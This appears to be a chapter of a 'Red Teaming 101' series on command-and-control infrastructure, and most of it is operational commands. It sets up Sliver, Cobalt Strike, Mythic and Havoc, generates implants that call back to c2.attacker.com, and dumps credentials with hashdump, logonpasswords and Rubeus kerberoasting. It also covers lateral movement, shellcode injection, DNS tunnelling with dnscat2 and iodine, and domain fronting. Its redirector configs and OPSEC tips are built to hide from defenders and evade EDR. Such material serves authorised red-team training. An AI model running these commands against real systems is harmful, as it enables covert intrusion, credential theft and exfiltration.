Pillar 7: C2 Infrastructure

BLUF: Your C2 infrastructure is the nervous system of every red team operation. Get it wrong and you'll get burned on day one. Redirectors, domain categorization, protocol obfuscation, and operational security aren't optional — they're what separates a professional from an amateur.

graph TB
    Start([C2 Fundamentals]) --> Sliver[Sliver C2 Basics]
    Start --> CS[Cobalt Strike Basics]
    Sliver --> Redirectors[Redirectors & Traffic Shaping]
    CS --> Redirectors
    Redirectors --> Mythic[Mythic & P2P Agents]
    Redirectors --> DomainFront[Domain Fronting]
    Mythic --> DNSC2[DNS C2]
    DomainFront --> MultiC2[Multi-C2 Management]
    DNSC2 --> FullInfra([Full Infra Deploy])
    MultiC2 --> FullInfra
    style Start fill:#ff6600
    style FullInfra fill:#00aa00

MITRE ATT&CK Mapping

Action Item 1 — C2 Fundamentals & Sliver [Beginner]

What you're building: A complete C2 operation from VPS to implant — hardened server, working listeners, generated payloads, and a live beacon you can interact with. This is the foundation every other action item builds on.

Understand C2 architecture and deploy your first modern open-source C2 framework. Sliver provides a powerful, cross-platform alternative to commercial tools with built-in mTLS and WireGuard support.

Tactic: Command and Control

Technique: Modern C2 Framework Setup & Implant Generation — build the safe house, establish comms, and get your first agent checking in before doing anything else.

The goal before your first engagement: have working listeners on multiple protocols, at least one implant generated per target OS, and a verified beacon callback — before any target interaction begins.

Work through these phases in order.

Phase 1 — Server Hardening & Deployment

# Install Sliver server via GitHub releases (canonical — always current):
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server

# One-liner installer (convenience — verify URL is current before use):
# curl https://sliver.sh/install | sudo bash

# Harden the VPS before starting the server
ufw allow 22/tcp       # SSH management
ufw allow 443/tcp      # HTTPS listener
ufw allow 8888/tcp     # mTLS listener (or any custom port)
ufw deny 31337/tcp     # Block default Sliver multiplayer port from the internet
ufw enable

# Generate multiplayer operator certificates (for team operations)
sliver-server operator --name operator1 --lhost 127.0.0.1 --save /tmp/operator1.cfg

Phase 2 — Listener & Payload Generation

# Launch the Sliver console
sliver-server

# Start listeners
sliver > https --lhost 0.0.0.0 --lport 443
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > dns --domains c2.attacker.com

# Generate implants
# Windows HTTPS beacon
sliver > generate --http https://c2.attacker.com --os windows --arch amd64 \
  --seconds 30 --jitter 20 --save /tmp/beacon.exe

# Windows mTLS (most secure — mutual certificate auth)
sliver > generate --mtls c2.attacker.com:8888 --os windows --arch amd64 \
  --save /tmp/beacon_mtls.exe

# Linux DNS implant (for restricted environments with only DNS egress)
sliver > generate --dns c2.attacker.com --os linux --save /tmp/beacon_dns

# List and manage sessions
sliver > sessions
sliver > beacons
sliver > use [session_id]

Phase 3 — Post-Exploitation & OPSEC Hardening

# Common in-session commands
sliver (beacon) > shell                             # interactive shell (noisy — avoid)
sliver (beacon) > execute-assembly /tmp/SharpHound.exe -c All
sliver (beacon) > upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe
sliver (beacon) > download C:\\Users\\Public\\sensitive.docx /tmp/loot.docx
sliver (beacon) > socks5 start --host 127.0.0.1 --port 1080   # SOCKS5 proxy

# OPSEC hardening
sliver > profiles new --http https://c2.attacker.com --seconds 60 --jitter 30 stealth-profile
# Use profiles to maintain consistent OPSEC across multiple implants

Why: Sliver uses mTLS by default for server-client communication. The --jitter flag randomizes beacon intervals to break heartbeat detection patterns. Using execute-assembly keeps tooling in-process and avoids child process spawning that EDRs alert on.

OPSEC: Never use the default Sliver ports (31337 for multiplayer, 80/443 without a profile) in production. Always front your listener behind a redirector (Action Item 3). Set long sleep times on backup implants (24h+) — they exist to survive, not to be interactive.

Sliver Armory [Beginner]

What you're building: One-command access to every major post-exploitation .NET assembly and BOF — no cross-compilation, no manual staging, all in-memory.

The Sliver Armory is a built-in package manager for post-exploitation tools. It automatically handles compilation, staging, and execution of popular tools like Rubeus, SharpHound, and Seatbelt — all in-memory, no disk writes.

# List and install armory packages
sliver > armory
sliver > armory install all                         # install everything (~300MB)
sliver > armory install rubeus                      # install specific tool

# Use armory tools in a session (all run via execute-assembly — in-memory)
sliver (beacon) > rubeus -- kerberoast /outfile:hashes.txt
sliver (beacon) > rubeus -- asktgt /user:svcaccount /password:Password1 /ptt
sliver (beacon) > seatbelt -- -group=all            # full host recon
sliver (beacon) > sharphound -- -c All              # BloodHound data collection
sliver (beacon) > sharpup -- audit                  # PrivEsc checks

Why: The Armory eliminates the manual compile-upload-execute cycle. All tools run via execute-assembly, keeping them entirely in-memory. No new processes are spawned, no files touch disk, and the C# assemblies are JIT-compiled inside the existing beacon process.

Action Item 2 — Cobalt Strike Basics [Beginner]

What you're building: Proficiency with the industry-standard commercial C2 — the toolset most real red teams, APT emulation engagements, and CREST/CBEST assessments still use. Know it because your clients will ask for it and your targets will be defended against it.

Master the industry-standard commercial C2 framework. Cobalt Strike's beacon is highly flexible and supports a wide range of post-exploitation capabilities with mature tooling.

Technique: Commercial C2 Operations & Beaconing

Tools: Cobalt Strike

Procedure:

# Start the team server on your VPS
# Usage: ./teamserver <IP> <password> [/path/to/malleable.profile]
sudo ./teamserver 1.2.3.4 MySecretPassword /opt/cobaltstrike/malleable/amazon.profile

# Connect to the team server from your local machine
./cobaltstrike

# In the Cobalt Strike GUI:
# 1. Go to Cobalt Strike → Listeners
# 2. Click 'Add' and configure an 'HTTPS' listener
# 3. Set the 'Host' and 'Port' (usually 443)
# 4. Go to Attacks → Packages → Windows Executable (S) (stageless — preferred)
# 5. Select your listener and generate the beacon.exe

# Interacting with a Beacon
beacon> sleep 30 25              # 30s sleep with 25% jitter — breaks pattern matching
beacon> sleep 3600 20            # long-haul beacon — checks in once per hour
beacon> shell whoami             # shell command (noisy — spawns new process)
beacon> run whoami               # run without shell wrapper (slightly less noisy)
beacon> ps                       # list running processes
beacon> getuid                   # get current user context
beacon> getpid                   # get current PID (to avoid injecting into self)

# Post-Exploitation
beacon> execute-assembly /path/to/SharpHound.exe -c All
beacon> hashdump                 # dump local password hashes (requires admin)
beacon> logonpasswords           # Mimikatz logonpasswords (requires admin)
beacon> jump psexec64 target.domain.local   # lateral movement via PsExec
beacon> spawn [listener]         # spawn new beacon (use for session passing)

Why: sleep 30 25 means the beacon sleeps 30 seconds with ±25% jitter (22.5–37.5s). This breaks any heartbeat-based detection that looks for regular check-in intervals. Long-haul beacons with 1h+ sleep are near-impossible to detect via network analysis alone.

OPSEC: Default Cobalt Strike profiles are heavily signatured and detected by every major EDR. Always use a custom Malleable C2 profile — it changes the beacon's network signature, process injection behavior, and in-memory artifacts simultaneously. Test your profile against the target EDR before use.

Action Item 3 — Redirectors & Traffic Shaping [Intermediate]

What you're building: A buffer layer between your beacon traffic and your team server, so that even if a blue team investigates your C2 IP, they find a clean decoy site — not your Cobalt Strike or Sliver console. Redirectors are how you protect long-term infrastructure from attribution.

Build resilient C2 infrastructure using redirectors to protect your team server. Redirectors filter traffic, forward only valid beacon requests, and serve decoy content to scanners and researchers.

Technique: C2 Infrastructure Obfuscation & Traffic Filtering

Tools: Nginx, Apache, socat, Caddy

Procedure:

# Example Nginx Redirector Configuration
# /etc/nginx/sites-available/redirector

server {
    listen 443 ssl;
    server_name _;

    # SSL Certificate (use Certbot/Let's Encrypt)
    ssl_certificate /etc/letsencrypt/live/c2.attacker.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.attacker.com/privkey.pem;

    # Forward only beacon traffic (matching a specific User-Agent from your profile)
    if ($http_user_agent ~* "Mozilla/5.0 \(compatible; MSIE 9.0\)") {
        proxy_pass https://10.0.0.5;  # Internal IP of your Team Server
    }

    # Forward traffic matching specific URIs defined in your Malleable profile
    location ~ ^/(news|login|api/v1/updates|search) {
        proxy_pass https://10.0.0.5;
        proxy_ssl_verify off;
    }

    # Serve a decoy page to all other visitors (scanners, researchers, blue team)
    location / {
        return 301 https://www.microsoft.com;
    }
}

# Simple socat redirector (TCP level, no filtering — use for quick pivots)
socat TCP4-LISTEN:443,fork TCP4:teamserver_ip:443

# Apache mod_rewrite redirector (alternative to Nginx, more granular rule control)
# In .htaccess:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9.0\)" [NC]
RewriteRule ^.*$ https://10.0.0.5%{REQUEST_URI} [P,L]
RewriteRule ^.*$ https://www.microsoft.com [R=301,L]

Why: Without redirectors, your team server IP is directly exposed. A single Shodan scan or reverse DNS lookup burns your entire engagement. With redirectors, the worst case is losing one VPS node — spin up a new one and redirect traffic. The team server remains untouched.

OPSEC: Redirectors prevent direct attribution of your team server. Use multiple redirectors on different providers and rotate them if one gets flagged. Always ensure your redirector's decoy response matches the domain's expected content to pass manual inspection.

Action Item 4 — Mythic C2 & P2P Agents [Intermediate]

What you're building: A modular C2 that excels where Sliver and Cobalt Strike struggle — complex internal network topologies where most hosts have no direct internet access, and communication must chain through intermediate agents.

Deploy Mythic for its modular agent architecture and configure P2P (peer-to-peer) agent chains. Mythic excels at handling complex network topologies where targets lack direct internet access.

Technique: Modular C2 & Peer-to-Peer Agent Chaining

Tools: Mythic, Apollo, Poseidon, Hermes

Procedure:

# Install Mythic on a Linux server
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./mythic-cli start

# Install agents
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo    # Windows .NET
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon  # Linux Go

# Access the web UI at https://localhost:7443
# Default credentials printed on first start — change immediately

# In the Mythic Web UI:
# 1. Create a new Payload
# 2. Select 'apollo' as the agent
# 3. Select 'smb' as the C2 profile for P2P communication
# 4. Generate the payload

# Linking Agents for P2P Communication
# 1. Compromise Host A (Egress) with an HTTP/HTTPS Apollo agent
# 2. Compromise Host B (Internal — no internet) with an SMB Apollo agent
# 3. From Host A's callback in the Mythic UI, run: link [Host B SMB payload UUID]
# 4. All traffic for Host B now flows through Host A's existing egress channel
# 5. Host B never makes a direct internet connection — all traffic tunnels through Host A

Why: P2P agents reduce the number of external C2 connections from N (one per host) to 1 (the egress node). In a mature environment with network segmentation monitoring, this is often the difference between detection and success. SMB beacons blend with normal file-sharing traffic in Windows environments.

OPSEC: Mythic P2P via SMB is extremely effective in Windows AD environments — SMB traffic on port 445 between workstations is common and often not inspected. Use unique payload profiles per target to limit blast radius if one agent is detected and analyzed.

Havoc C2 [Intermediate]

What you're building: A free, actively-developed alternative to Cobalt Strike with built-in sleep obfuscation in the Demon implant — making it harder to detect at rest than a default CS beacon.

Havoc is an open-source C2 framework built by C5pider. Its Demon implant includes built-in sleep obfuscation, indirect syscalls, and BOF compatibility — making it a strong free alternative to Cobalt Strike for operators who don't have a CS license.

# Install Havoc C2
git clone https://github.com/HavocFramework/Havoc
cd Havoc

# Build the team server
cd teamserver
go build . -o teamserver
cd ..

# Build the client
cd client
make
cd ..

# Start the team server with a profile
./teamserver server --profile ./profiles/havoc.yaotl --debug
# Edit havoc.yaotl: set Operators password, Listeners host/port, and TeamServer bind address

# Connect with the Havoc client
./Havoc
# File → Connect → enter team server details

# Demon implant capabilities:
# - Sleep obfuscation (Ekko-based) — built-in, no extra setup
# - Indirect syscalls — default in post-0.7 builds
# - BOF execution: demon> inline-execute /path/to/bof.o arg1
# - Token impersonation: demon> token steal [pid]
# - SOCKS5 pivot: demon> socks 1080
# - execute-assembly: demon> dotnet execute /path/to/Assembly.exe arg1

Why: Havoc's Demon has sleep obfuscation enabled by default — unlike Cobalt Strike where you need to implement it yourself via a UDRL or third-party kit. For teams without a CS license doing adversary simulation, Havoc is the current best open-source option with active development.

OPSEC: Havoc is open source, so its default profiles are signatured. Customize havoc.yaotl to change all default ports, URIs, and headers. The Demon implant's sleep obfuscation significantly reduces memory scan detection but does not replace good injection tradecraft.

Action Item 5 — Domain Fronting [Intermediate]

What you're building: C2 traffic that appears — at the network level — to be going to a high-reputation CDN domain (e.g., ajax.aspnetcdn.com), making it nearly impossible to block without disrupting legitimate traffic.

Route C2 traffic through major CDN providers to blend with legitimate HTTPS traffic and evade detection. This technique leverages the trust associated with high-reputation domains.

Technique: CDN-Based Traffic Masking

Tools: Cloudflare, AWS CloudFront, Azure CDN

Procedure:

# 1. Set up a CDN distribution (e.g., AWS CloudFront)
# 2. Point the Origin to your Redirector or Team Server
# 3. Note the CDN domain (e.g., d12345.cloudfront.net)

# 4. Configure your Malleable C2 profile to use the 'Host' header
# This header tells the CDN which origin to route the traffic to
http-config {
    set header "Host" "your-c2-origin.com";
}

# 5. In your C2 Listener configuration:
# Set the 'Host' to a legitimate domain fronted by the same CDN
# Example: 'ajax.aspnetcdn.com' (if using Azure CDN)
# The beacon connects to the CDN edge IP but traffic routes to your origin

# 6. Verify the fronting with curl
curl -H "Host: your-c2-origin.com" https://ajax.aspnetcdn.com/api/v1/updates
# Should return your C2 response, not Microsoft content

# 7. FindFrontableDomains: identify still-vulnerable fronting domains on a given CDN
# https://github.com/rvrsh3ll/FindFrontableDomains
python3 FindFrontableDomains.py --domain cloudfront.net

Why: Domain fronting makes C2 traffic appear to originate from and terminate at ajax.aspnetcdn.com or similar. Blocking that IP blocks Microsoft's CDN for thousands of legitimate sites — no blue team will do that. The TLS SNI is the only betrayal, and not all deep-packet inspection systems check for SNI mismatches.

OPSEC: Many CDNs have restricted domain fronting (Google, AWS). It still works on select Cloudflare configurations and certain Azure CDN setups. Monitor for "SNI mismatch" alerts which are the primary detection vector. Test your fronting configuration before the engagement — CDN policies change.

Action Item 6 — DNS C2 Deep Dive [Advanced]

What you're building: A C2 channel that operates even in the most locked-down environments — where the only allowed outbound protocol is DNS. Slow but resilient. The "last resort" channel that keeps you in the network when everything else is blocked.

Build and operate a stealthy DNS-based C2 channel that works even in highly restricted environments. DNS is often the only protocol allowed outbound in fully segmented networks.

Technique: Covert Channel Communication via DNS

Tools: Cobalt Strike DNS Beacon, dnscat2, iodine

Procedure:

# 1. Domain setup (critical — must be done before the engagement)
# Register a domain: c2domain.com
# Create NS delegation:
#   ns1.c2domain.com  A record → 1.2.3.4 (your VPS)
#   cdn.c2domain.com  NS record → ns1.c2domain.com
# All DNS queries for *.cdn.c2domain.com will be authoritative to your server

# 2. Cobalt Strike DNS Beacon
# Create a DNS Listener in CS:
#   DNS Hosts: cdn.c2domain.com
#   DNS Host (Stager): ns1.c2domain.com

# Interacting with the DNS Beacon
beacon> mode dns-txt      # switch to TXT records for higher bandwidth (~1KB/query vs ~200B)
beacon> mode dns-txt      # TXT mode: ~3–5KB/s throughput
beacon> mode dns          # A record mode: ~200–500B/s (very slow, very stealthy)

# 3. dnscat2 — dedicated DNS shell (more flexible, non-CS environments)
# Server side (your VPS, authoritative for cdn.c2domain.com):
ruby ./dnscat2.rb cdn.c2domain.com --secret mysecretkey

# Client side (on compromised host):
./dnscat --dns domain=cdn.c2domain.com --secret mysecretkey

# 4. iodine — full IP-over-DNS tunnel (highest bandwidth DNS tunnel)
# Server: iodined -f -c -P password 10.0.0.1 tunnel.c2domain.com
# Client: iodine -f -P password tunnel.c2domain.com

# 5. DNS traffic detection monitoring
sudo tcpdump -i eth0 udp port 53 -vv  # monitor your own traffic patterns

Why: DNS egress is allowed in virtually every network because blocking it breaks internet connectivity entirely. Even in air-gapped environments, internal DNS resolvers often forward queries to internet-facing resolvers, creating an indirect path out.

OPSEC: DNS C2 is slow but extremely resilient. Use long sleep times (60–120s) and randomize subdomains to lower query volume. SOCs look for high volumes of DNS queries to unusual subdomains or high entropy in DNS labels. Keep query rates below 1–2 per minute to avoid detection.

Action Item 7 — BOF Development & Multi-C2 Management [Advanced]

What you're building: In-process post-exploitation capability via BOFs (no child process spawning), plus the discipline of maintaining multiple independent C2 frameworks simultaneously with clean OPSEC boundaries between them.

Operate multiple C2 frameworks simultaneously during an engagement while maintaining strict OPSEC. BOFs provide stealthy in-process execution without spawning child processes.

Technique: Framework Redundancy & In-Process Post-Exploitation

Tools: Cobalt Strike, Sliver, Havoc, BOF development toolchain

Beacon Object Files (BOFs)

// Minimal BOF skeleton (compatible with Cobalt Strike inline-execute and Sliver execute-bof)
#include <windows.h>
#include "beacon.h"   // from TrustedSec CS-Situational-Awareness-BOF repo

void go(char *args, int len) {
    // All output via BeaconPrintf — never WriteFile or printf
    BeaconPrintf(CALLBACK_OUTPUT, "Hello from BOF! PID: %d\n", GetCurrentProcessId());

    // Resolve Win32 APIs via KERNEL32$ / NTDLL$ macros (beacon handles resolution)
    WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
    HANDLE hProc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, 4);
    BeaconPrintf(CALLBACK_OUTPUT, "Handle to PID 4: %p\n", hProc);
}

# Compile BOF (cross-compile on Linux):
x86_64-w64-mingw32-gcc -o mybof.o -c mybof.c -masm=intel

# Execute in C2:
# Cobalt Strike:
beacon> inline-execute /path/to/mybof.o
# Sliver:
sliver (beacon) > execute-bof /path/to/mybof.o

# TrustedSec Situational Awareness BOF collection:
# https://github.com/trustedsec/CS-Situational-Awareness-BOF
# Includes: arp, dir, env, hostname, ipconfig, netstat, nslookup, sc_query, tasklist, whoami
# All run in-process — no child process spawning, no new command line arguments logged

Why: BOFs execute in-process within the beacon's memory space. Unlike execute-assembly (which spawns a new CLR/host process), BOFs are just position-independent shellcode — no child process, no new command line, no new process creation event in Windows event logs.

Multi-C2 Management

# 1. Deploy Primary C2 (Cobalt Strike / Havoc)
# Main ops: lateral movement, data exfiltration, interactive sessions
# Use a high-reputation domain with custom Malleable profile

# 2. Deploy Backup C2 (Sliver)
# Long-haul beacon: sleep 86400 (24h check-in)
# Different VPS provider, different domain registrar, different infra entirely
# Exists only to recover access if primary burns

# 3. Infrastructure Rotation (Terraform)
# If a redirector IP is flagged, spin up a replacement:
# terraform apply -var="redirector_name=redirector-02"
# Update DNS, verify new redirector, then retire old one

# 4. Session Passing (CS to Sliver)
# Generate Sliver shellcode, inject via CS shinject:
beacon> shinject [pid] x64 /path/to/sliver_shellcode.bin

# 5. Avoid cross-pollination
# Never use the same domain, IP range, or TLS certificate across primary and backup infra
# Never run both C2s from the same VPS
# Never exfiltrate via your backup C2 — keep it passive

Why: If your primary C2 is burned mid-engagement, a long-haul backup beacon is the difference between maintaining access and starting over. The 24h sleep makes it nearly invisible to network monitoring — at one check-in per day, it won't appear in any statistical analysis of DNS or HTTPS traffic volume.

OPSEC: Never put all eggs in one basket. Cross-pollination between primary and backup infrastructure is how a burnt primary leads to the backup being identified as well. Treat them as completely separate operations — different identities, different providers, different techniques.

Action Item 8 — Full Infrastructure Deployment [Operator]

What you're building: Production-grade red team infrastructure that can be spun up in minutes, torn down instantly, and rebuilt identically — using Infrastructure-as-Code to ensure consistency across engagements and eliminate manual configuration errors.

Design and deploy production-grade red team infrastructure for a long-term engagement using Infrastructure-as-Code (IaC).

Technique: Infrastructure-as-Code (IaC) for Red Team Ops

Tools: Terraform, Ansible, GitHub Actions (CI/CD)

Procedure:

# Terraform: provision redirectors on DigitalOcean
# main.tf

resource "digitalocean_droplet" "redirector" {
  image    = "ubuntu-22-04-x64"
  name     = "redirector-01"
  region   = "nyc3"
  size     = "s-1vcpu-1gb"
  ssh_keys = [var.ssh_fingerprint]
}

resource "digitalocean_domain" "c2_domain" {
  name       = var.c2_domain
  ip_address = digitalocean_droplet.redirector.ipv4_address
}

output "redirector_ip" {
  value = digitalocean_droplet.redirector.ipv4_address
}

# Ansible: configure and harden the redirector
# setup_redirector.yml

- hosts: redirectors
  become: yes
  tasks:
    - name: Install Nginx and Certbot
      apt:
        name: ["nginx", "certbot", "python3-certbot-nginx"]
        state: present

    - name: Deploy Nginx C2 configuration
      template:
        src: templates/c2_redirect.conf.j2
        dest: /etc/nginx/sites-available/c2.conf

    - name: Enable site and restart Nginx
      file:
        src: /etc/nginx/sites-available/c2.conf
        dest: /etc/nginx/sites-enabled/c2.conf
        state: link
      notify: restart nginx

    - name: Harden SSH — disable password auth
      lineinfile:
        path: /etc/ssh/sshd_config
        regexp: '^PasswordAuthentication'
        line: 'PasswordAuthentication no'

    - name: Install and start fail2ban
      apt:
        name: fail2ban
        state: present

Common C2 Infrastructure Ports:

OPSEC: Automated deployment ensures consistency. It allows you to burn and rebuild your entire infrastructure in minutes. Never hardcode secrets in IaC scripts — use environment variables, Vault, or GitHub Actions secrets. Test your full deployment pipeline in a staging environment before every engagement.

Resources

Part of the Red Teaming 101 series.